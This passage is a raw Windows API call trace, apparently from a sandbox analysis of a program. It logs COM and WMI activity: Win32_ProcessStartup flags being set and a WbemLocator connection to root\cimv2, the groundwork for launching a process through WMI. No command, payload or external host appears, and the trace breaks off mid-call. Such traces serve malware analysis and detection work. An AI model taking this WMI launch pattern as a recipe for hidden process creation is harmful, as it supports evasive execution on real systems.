0x0 [0116.399] WbemDefPath:IUnknown:Release (This=0x1b4d2720) returned 0x3 [0116.399] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0116.399] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0116.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0116.399] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x2 [0116.399] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x1 [0116.399] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0116.399] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0116.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x655a30) returned 0x0 [0116.399] WbemDefPath:IUnknown:AddRef (This=0x655a30) returned 0x3 [0116.399] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x2 [0116.399] WbemDefPath:IWbemPath:SetText (This=0x655a30, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0116.399] IWbemClassObject:Get (in: This=0x1b4d7900, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2792cd0*=0, plFlavor=0x2792cd4*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2792cd0*=19, plFlavor=0x2792cd4*=0) returned 0x0 [0116.400] IWbemClassObject:Get (in: This=0x1b4d7900, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2792cd0*=19, plFlavor=0x2792cd4*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2792cd0*=19, plFlavor=0x2792cd4*=0) returned 0x0 [0116.400] IWbemClassObject:Put (This=0x1b4d7900, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0116.400] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656330, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0116.400] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0116.400] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0116.400] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.400] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0116.400] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0116.400] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0116.400] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.401] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4d2780) returned 0x0 [0116.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2780, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0116.401] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2780, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x6563f0) returned 0x0 [0116.401] WbemDefPath:IUnknown:Release (This=0x1b4d2780) returned 0x0 [0116.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x6563f0) returned 0x0 [0116.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0116.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0116.401] WbemDefPath:IUnknown:AddRef (This=0x6563f0) returned 0x3 [0116.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0116.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0116.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4d28c0) returned 0x0 [0116.401] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d28c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.401] WbemDefPath:IUnknown:Release (This=0x1b4d28c0) returned 0x3 [0116.402] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0116.402] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0116.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0116.402] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x2 [0116.402] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x1 [0116.402] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0116.402] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0116.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x6563f0) returned 0x0 [0116.402] WbemDefPath:IUnknown:AddRef (This=0x6563f0) returned 0x3 [0116.402] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x2 [0116.402] WbemDefPath:IWbemPath:SetText (This=0x6563f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0116.402] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6563f0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0116.402] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0116.402] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.402] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0116.402] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0116.402] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0116.402] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.469] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4d2a20) returned 0x0 [0116.469] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a20, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0116.469] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2a20, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4d2a40) returned 0x0 [0116.469] WbemLocator:IUnknown:Release (This=0x1b4d2a20) returned 0x0 [0116.469] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4d2a40) returned 0x0 [0116.469] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0116.469] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0116.470] WbemLocator:IUnknown:AddRef (This=0x1b4d2a40) returned 0x3 [0116.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0116.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0116.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0116.470] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0116.470] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0116.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0116.470] WbemLocator:IUnknown:Release (This=0x1b4d2a40) returned 0x2 [0116.470] WbemLocator:IUnknown:Release (This=0x1b4d2a40) returned 0x1 [0116.470] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0116.470] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0116.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2a40, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4d2a40) returned 0x0 [0116.470] WbemLocator:IUnknown:AddRef (This=0x1b4d2a40) returned 0x3 [0116.470] WbemLocator:IUnknown:Release (This=0x1b4d2a40) returned 0x2 [0116.470] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6563f0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0116.470] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0116.470] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.470] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4d2760) returned 0x0 [0116.470] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d2760, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4e1550) returned 0x0 [0116.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1550, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b511d50) returned 0x0 [0116.643] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511d50, pProxy=0x1b4e1550, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0116.643] WbemLocator:IUnknown:Release (This=0x1b511d50) returned 0x1 [0116.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1550, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b511d98) returned 0x0 [0116.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1550, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b511d50) returned 0x0 [0116.643] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511d50, pProxy=0x1b4e1550, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0116.643] WbemLocator:IUnknown:Release (This=0x1b511d50) returned 0x2 [0116.643] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x1 [0116.643] CoTaskMemFree (pv=0x1b461b20) [0116.643] WbemLocator:IUnknown:Release (This=0x1b4d2760) returned 0x0 [0116.644] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1550, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b511d98) returned 0x0 [0116.644] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0116.663] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0116.668] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1550, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0116.676] WbemLocator:IUnknown:AddRef (This=0x1b511d98) returned 0x3 [0116.676] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0116.676] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0116.676] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b511c78) returned 0x0 [0116.677] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511c78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.677] WbemLocator:IUnknown:Release (This=0x1b511c78) returned 0x3 [0116.677] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0116.677] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0116.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b511d60) returned 0x0 [0116.677] WbemLocator:IRpcOptions:Query (in: This=0x1b511d60, pPrx=0x1b511d98, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0116.677] WbemLocator:IUnknown:Release (This=0x1b511d60) returned 0x3 [0116.677] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x2 [0116.677] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0116.677] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0116.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4e1550) returned 0x0 [0116.677] WbemLocator:IUnknown:AddRef (This=0x1b4e1550) returned 0x4 [0116.677] WbemLocator:IUnknown:Release (This=0x1b4e1550) returned 0x3 [0116.677] WbemLocator:IUnknown:Release (This=0x1b4e1550) returned 0x2 [0116.677] SysStringLen (param_1=0x0) returned 0x0 [0116.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6563f0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0116.677] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0116.678] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.678] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0116.678] WbemLocator:IUnknown:AddRef (This=0x1b511d98) returned 0x3 [0116.678] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b511d98) returned 0x0 [0116.678] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x3 [0116.678] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x2 [0116.678] WbemDefPath:IWbemPath:GetText (in: This=0x656330, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0116.678] WbemDefPath:IWbemPath:GetText (in: This=0x656330, 